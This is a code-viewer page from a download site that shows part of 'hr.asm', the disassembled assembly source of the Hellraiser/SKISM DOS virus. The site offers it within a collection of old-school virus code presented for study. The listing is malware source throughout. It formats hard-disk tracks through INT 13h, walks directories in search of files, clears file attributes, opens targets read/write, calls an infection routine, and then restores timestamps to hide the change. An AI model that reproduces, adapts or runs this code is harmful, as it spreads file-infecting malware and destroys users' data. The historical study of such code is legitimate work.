⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hr.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
;---------------------------------------------------
	NOP					    ;0056A 90		 _
H0056B: JMP	H0061E				    ;0056B E9B000	 ___
;---------------------------------------------------
	DB	"  -=PHALCON=-  "		    ;0056E 20202D3D504841
	DB	00h				    ;0057D

;---------------------------------------------------
; Display message... TheDraw algorythm for unpacking image.
H0057E: JCXZ    H005DB          ;Jumps to a ret     ;0057E E35B          _[
        MOV     DX,DI                               ;00580 8BD7          __
	XOR	AX,AX				    ;00582 33C0 	 3_
	CLD					    ;00584 FC		 _
H00585: LODSB                   ;Take a byte        ;00585 AC            _
        CMP     AL,20h          ;If it's <space     ;00586 3C20          <
        JB      H0058F          ;Jump               ;00588 7205          r_
        STOSW                   ;Move to screen     ;0058A AB            _
H0058B: LOOP    H00585                              ;0058B E2F8          __
	JMP	Short H005DB			    ;0058D EB4C 	 _L
;---------------------------------------------------
H0058F: CMP     AL,10h          ;If it's not<10h    ;0058F 3C10          <_
        JNB     H0059A          ;Jump               ;00591 7307          s_
	AND	AH,0F0h 			    ;00593 80E4F0	 ___
	OR	AH,AL				    ;00596 0AE0 	 __
	JMP	Short H0058B			    ;00598 EBF1 	 __
;---------------------------------------------------
H0059A: CMP     AL,18h                              ;0059A 3C18          <_
	JZ	H005B1				    ;0059C 7413 	 t_
	JNB	H005B9				    ;0059E 7319 	 s_
	SUB	AL,10h				    ;005A0 2C10 	 ,_
	ADD	AL,AL				    ;005A2 02C0 	 __
	ADD	AL,AL				    ;005A4 02C0 	 __
	ADD	AL,AL				    ;005A6 02C0 	 __
	ADD	AL,AL				    ;005A8 02C0 	 __
	AND	AH,8Fh				    ;005AA 80E48F	 ___
	OR	AH,AL				    ;005AD 0AE0 	 __
        JMP     Short H0058B                        ;005AF EBDA          __
;---------------------------------------------------
H005B1: ADD	DX,00A0h			    ;005B1 81C2A000	 ____
	MOV	DI,DX				    ;005B5 8BFA 	 __
	JMP	Short H0058B			    ;005B7 EBD2 	 __
;---------------------------------------------------
H005B9: CMP	AL,1Bh				    ;005B9 3C1B 	 <_
	JB	H005C4				    ;005BB 7207 	 r_
	JNZ	H0058B				    ;005BD 75CC 	 u_
	XOR	AH,80h				    ;005BF 80F480	 ___
	JMP	Short H0058B			    ;005C2 EBC7 	 __
;---------------------------------------------------
H005C4: CMP	AL,19h				    ;005C4 3C19 	 <_
	MOV	BX,CX				    ;005C6 8BD9 	 __
	LODSB					    ;005C8 AC		 _
	MOV	CL,AL				    ;005C9 8AC8 	 __
	MOV	AL,20h				    ;005CB B020 	 _ 
	JZ	H005D1				    ;005CD 7402 	 t_
	LODSB					    ;005CF AC		 _
	DEC	BX				    ;005D0 4B		 K
H005D1: XOR	CH,CH				    ;005D1 32ED 	 2_
	INC	CX				    ;005D3 41		 A
	REPZ	STOSW				    ;005D4 F3AB 	 __
	MOV	CX,BX				    ;005D6 8BCB 	 __
	DEC	CX				    ;005D8 49		 I
	LOOPNZ	H00585				    ;005D9 E0AA 	 __
H005DB: RET			;RET_Near	    ;005DB C3		 _
;End of display message procedure

;---------------------------------------------------
H005DC: MOV	AH,15h				    ;005DC B415 	 __
	MOV	DL,80h				    ;005DE B280 	 __
	INT	13h		;BAT-Dsk_Type	    ;005E0 CD13 	 __
	CMP	AH,03h				    ;005E2 80FC03	 ___
	JNZ	H005F2				    ;005E5 750B 	 u_
	MOV	AX,0504h			    ;005E7 B80405	 ___
	MOV	CX,DS:[0103h]			    ;005EA 8B0E0301	 ____
	MOV	DL,80h				    ;005EE B280 	 __
	INT	13h		;B-Fmt_FD_Trk	    ;005F0 CD13 	 __
H005F2: MOV	DX,045Dh			    ;005F2 BA5D04	 _]_
	MOV	AH,1Ah				    ;005F5 B41A 	 __
	INT	21h		;1-Set_DTA	    ;005F7 CD21 	 _!
	MOV	AH,19h				    ;005F9 B419 	 __
	INT	21h		;1-Get_Cur_Dr	    ;005FB CD21 	 _!
	MOV	DL,AL				    ;005FD 8AD0 	 __
	INC	DL				    ;005FF FEC2 	 __
	MOV	AH,47h				    ;00601 B447 	 _G
	MOV	SI,04BCh			    ;00603 BEBC04	 ___
	INT	21h		;2-Cur_Dir	    ;00606 CD21 	 _!
	MOV	DX,045Bh			    ;00608 BA5B04	 _[_
	MOV	AH,3Bh				    ;0060B B43B 	 _;
	INT	21h		;2-Chg_Dir	    ;0060D CD21 	 _!
	MOV	CX,0013h			    ;0060F B91300	 ___
	MOV	DX,0453h			    ;00612 BA5304	 _S_
	MOV	AH,4Eh				    ;00615 B44E 	 _N
	INT	21h		;2-Srch_1st_Fl_Hdl  ;00617 CD21 	 _!
	CMP	AX,0012h			    ;00619 3D1200	 =__
	JNZ	H00621				    ;0061C 7503 	 u_
H0061E: JMP	Short H00671			    ;0061E EB51 	 _Q
;---------------------------------------------------
	NOP					    ;00620 90		 _
H00621: MOV	AH,4Fh				    ;00621 B44F 	 _O
	INT	21h		;2-Srch_Nxt_Fl_Hdl  ;00623 CD21 	 _!
	CMP	AX,0012h			    ;00625 3D1200	 =__
	JZ	H00671				    ;00628 7447 	 tG
	MOV	DX,047Bh			    ;0062A BA7B04	 _{_
	MOV	AH,3Bh				    ;0062D B43B 	 _;
	INT	21h		;2-Chg_Dir	    ;0062F CD21 	 _!
	MOV	AH,2Fh				    ;00631 B42F 	 _/
	INT	21h		;2-Get_DTA	    ;00633 CD21 	 _!
	MOV	DS:[04B3h],ES			    ;00635 8C06B304	 ____
	MOV	DS:[04B5h],BX			    ;00639 891EB504	 ____
	MOV	DX,0488h			    ;0063D BA8804	 ___
	MOV	AH,1Ah				    ;00640 B41A 	 __
	INT	21h		;1-Set_DTA	    ;00642 CD21 	 _!
	MOV	CX,0007h			    ;00644 B90700	 ___
	MOV	DX,0455h			    ;00647 BA5504	 _U_
	MOV	AH,4Eh				    ;0064A B44E 	 _N
	INT	21h		;2-Srch_1st_Fl_Hdl  ;0064C CD21 	 _!
	CMP	AX,0012h			    ;0064E 3D1200	 =__
        JNZ     H00674                              ;00651 7521          u!
H00653: MOV     AH,4Fh                              ;00653 B44F          _O
	INT	21h		;2-Srch_Nxt_Fl_Hdl  ;00655 CD21 	 _!
	CMP	AX,0012h			    ;00657 3D1200	 =__
	JNZ	H00674				    ;0065A 7518 	 u_
	MOV	DX,045Bh			    ;0065C BA5B04	 _[_
	MOV	AH,3Bh				    ;0065F B43B 	 _;
	INT	21h		;2-Chg_Dir	    ;00661 CD21 	 _!
	MOV	AH,1Ah				    ;00663 B41A 	 __
	MOV	DS,DS:[04B3h]	;DS_Chg 	    ;00665 8E1EB304	 ____
	MOV	DX,DS:[04B5h]			    ;00669 8B16B504	 ____
	INT	21h		;1-Set_DTA	    ;0066D CD21 	 _!
	JMP	Short H00621			    ;0066F EBB0 	 __
;---------------------------------------------------
H00671: JMP	Short H006EC			    ;00671 EB79 	 _y
;---------------------------------------------------
	NOP					    ;00673 90		 _
H00674: MOV	AH,2Fh				    ;00674 B42F 	 _/
	INT	21h		;2-Get_DTA	    ;00676 CD21 	 _!
	MOV	DS:[04B9h],ES			    ;00678 8C06B904	 ____
	MOV	DS:[04B7h],BX			    ;0067C 891EB704	 ____
	MOV	DX,04A6h			    ;00680 BAA604	 ___
	MOV	BX,0488h			    ;00683 BB8804	 ___
	MOV	AX,[BX+18h]			    ;00686 8B4718	 _G_
	MOV	DS:[0500h],AX			    ;00689 A30005	 ___
	MOV	AX,[BX+16h]			    ;0068C 8B4716	 _G_
	MOV	DS:[04FEh],AX			    ;0068F A3FE04	 ___
	MOV	AX,[BX+15h]			    ;00692 8B4715	 _G_
	MOV	AX,4300h			    ;00695 B80043	 __C
	INT	21h		;2-Fl_Hdl_Attr	    ;00698 CD21 	 _!
	MOV	DS:[0502h],CX			    ;0069A 890E0205	 ____
	MOV	AX,4301h			    ;0069E B80143	 __C
	XOR	CX,CX				    ;006A1 33C9 	 3_
	INT	21h		;1-TERM_norm:21h-00h;006A3 CD21 	 _!
;---------------------------------------------------
	MOV	AX,3D00h			    ;006A5 B8003D	 __=
	INT	21h		;2-Open_Fl_Hdl	    ;006A8 CD21 	 _!
	JB	H006CF				    ;006AA 7223 	 r#
        MOV     DS:[HANDLE],AX                      ;006AC A3FC04        ___
	MOV	AH,3Fh				    ;006AF B43F 	 _?
        MOV     BX,DS:[HANDLE]                      ;006B1 8B1EFC04      ____
	MOV	CX,0002h			    ;006B5 B90200	 ___
	MOV	DX,0504h			    ;006B8 BA0405	 ___
	INT	21h		;2-Rd_Fl_Hdl	    ;006BB CD21 	 _!
	MOV	AH,3Eh				    ;006BD B43E 	 _>
        MOV     BX,DS:[HANDLE]                      ;006BF 8B1EFC04      ____
	INT	21h		;2-Close_Fl_Hdl     ;006C3 CD21 	 _!
	MOV	BX,DS:[0504h]			    ;006C5 8B1E0405	 ____
	CMP	BX,03EBh			    ;006C9 81FBEB03	 ____
	JNZ	H006DE				    ;006CD 750F 	 u_
H006CF: MOV	AH,1Ah				    ;006CF B41A 	 __
	MOV	DS,DS:[04B9h]	;DS_Chg 	    ;006D1 8E1EB904	 ____
	MOV	DX,DS:[04B7h]			    ;006D5 8B16B704	 ____
	INT	21h		;1-Set_DTA	    ;006D9 CD21 	 _!
	JMP	H00653				    ;006DB E975FF	 _u_
;---------------------------------------------------
H006DE: MOV	DX,04A6h			    ;006DE BAA604	 ___
	MOV	AX,3D02h			    ;006E1 B8023D	 __=
	INT	21h		;2-Open_Fl_Hdl	    ;006E4 CD21 	 _!
        MOV     DS:[HANDLE],AX                      ;006E6 A3FC04        ___
        CALL    INFECT          ; . . . . . . . . . ;006E9 E834FA        _4_
H006EC: MOV	AX,5701h			    ;006EC B80157	 __W
        MOV     BX,DS:[HANDLE]                      ;006EF 8B1EFC04      ____
	MOV	CX,DS:[04FEh]			    ;006F3 8B0EFE04	 ____
	MOV	DX,DS:[0500h]			    ;006F7 8B160005	 ____
	INT	21h		;2-Fl_Hdl_Date_Time ;006FB CD21 	 _!
	MOV	AX,4301h			    ;006FD B80143	 __C
	MOV	CX,DS:[0502h]			    ;00700 8B0E0205	 ____
	MOV	DX,04A6h			    ;00704 BAA604	 ___
	INT	21h		;2-Fl_Hdl_Attr	    ;00707 CD21 	 _!
	MOV	AH,3Bh				    ;00709 B43B 	 _;
	MOV	DX,045Bh			    ;0070B BA5B04	 _[_
	INT	21h		;2-Chg_Dir	    ;0070E CD21 	 _!
	MOV	AH,3Bh				    ;00710 B43B 	 _;
	MOV	DX,04BCh			    ;00712 BABC04	 ___
	INT	21h		;2-Chg_Dir	    ;00715 CD21 	 _!
	MOV	AX,4C00h			    ;00717 B8004C	 __L
	INT	21h		;2-TERM_w_Ret_Cd    ;0071A CD21 	 _!
;---------------------------------------------------
	DB	"Hellraiser/SKISM"		    ;0071C 48656C6C726169
;---------------------------------------------------

P00100  ENDP

CODE    ENDS
        END     H00100
 
;-------------------------------------------------------------------------------

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -